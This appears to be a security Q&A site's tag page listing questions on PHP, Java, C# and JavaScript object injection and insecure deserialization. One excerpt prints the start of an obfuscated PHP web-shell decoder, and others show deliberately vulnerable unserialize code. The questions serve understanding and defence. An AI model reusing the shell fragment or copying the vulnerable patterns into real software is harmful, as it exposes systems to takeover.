Questions tagged [object-injection]
A class of vulnerabilities stemming from deserialization of unsanitized user data.
13
questions
1
vote
1
answer
139
views
Dyanamic class load for server side application
Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in ...
- 11
1
vote
0
answers
68
views
What's the point of this php shell? [duplicate]
What is the point of this shell code? There is no other code in the file.
@preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r);
$w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));}
$e=...
- 565
0
votes
1
answer
172
views
Why object injection doesn't work but payload is stored along with session cookies on Joomla 2.5.11 unpatched? [closed]
I have read and understand object injection from this question. Then I wanted to test the security issue behind Joomla CMS Object injection through serialization.
TEST MACHINE
xammp 1.7.3 for ...
4
votes
1
answer
886
views
Injected malicious code in temporary files
It just came to my mind that few years ago many iOS applications where infected by XcodeGhost (notably WeChat). This made me think about few possible scenarios:
Malicious code injected in object ...
- 261
2
votes
1
answer
4k
views
Insecure Deserialization in C# (.NET) - How to identify and test
I have been reading up on Insecure Deserialization and how it can affect Java applications.
https://owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization
If the captured traffic data include ...
- 767
4
votes
1
answer
4k
views
Is it possible to exploit PHP unserialize without classes? [duplicate]
I'm assessing the security of a webportal for a client and I found a vulnerability. The code is basically doing this:
$var = unserialize($_REQUEST['something']);
I have complete control over ...
- 375
1
vote
2
answers
3k
views
Why does this PHP object injection exploit work?
I have recently created some PHP code vulnerable to object injection. Here is the code of my one.php file where I unserialize the data parameter:
<?php
class utkarsh {
public $logfile = "...
14
votes
2
answers
18k
views
Variable Assigned to Object Injection Sink (security/detect-object-injection)
I am testing my code on ESLint. It says:
Variable Assigned to Object Injection Sink (security/detect-object-injection).
I'm not using an outer resource to assign it to my variable, though. Is ...
- 141
2
votes
1
answer
1k
views
Is JavaScript object injection exploitable?
I'm testing a site that behaves like this:
When I change my username, I submit a POST request with JSON data like this {"username":"John"}.
If I change that to for example {"username":{"test":"test"}...
- 2,299
3
votes
3
answers
3k
views
Secure method to store PHP object in MySQL database?
How do I securely save PHP objects in a MySQL Database? If you use the serialize and unserialize functions, you may end up with Object Injections. Is there a predefined standard on how to handle this?
...
- 303
11
votes
2
answers
8k
views
Is PHP unserialize() exploitable without any magic methods?
Say that there was a publicly accessible web page with the following PHP code:
<?php
class NotInteresting
{
public function noExploits() {
echo "Whatever.";
}
}
$unsafe = ...
- 215
1
vote
1
answer
3k
views
How can PHP unserialize() object injection be used to bypass authentication?
So I came across with this authentication bypass security notice and the fix for it was just simply changing all serialization to json encoding.
I am just wondering how is this really exploitable? ...
- 113
1
vote
3
answers
4k
views
Is using JSON really enough to fix PHP object insertion?
So I was just reading up on the OWASP site about PHP Object Injection. According to their site, the suggested fix is to not use serialze and unserialize but to use
json_encode and json_decode.
...
- 766